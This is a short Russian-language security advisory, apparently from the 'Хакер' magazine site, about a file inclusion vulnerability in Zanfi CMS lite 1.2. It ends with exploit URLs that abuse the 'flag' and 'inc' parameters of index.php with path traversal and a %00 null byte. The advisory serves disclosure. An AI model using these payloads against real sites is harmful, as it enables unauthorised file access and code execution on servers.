Множественный PHP-инклюдинг в Zanfi CMS lite

Рекомендуем почитать:

Хакер #305. Многошаговые SQL-инъекции

• Содержание выпуска
• Подписка на «Хакер»-60%

Программа: Zanfi CMS lite 1.2

Уязвимость позволяет удаленному пользователю выполнить произвольный PHP
сценарий на целевой системе. Уязвимость существует из-за недостаточной обработки
входных данных в различных параметрах сценарием index.php. Удаленный
пользователь может выполнить произвольный PHP сценарий на целевой системе с
привилегиями Web сервера.

Эксплоит:

http://[target]/[Path]index.php?flag=[Local File]%00

http://127.0.0.1/index.php?flag=../../../autoexec.bat%00

http://[target]/[Path]/index.php?inc=[Local File]%00

http://127.0.0.1/index.php?inc=../../../autoexec.bat%00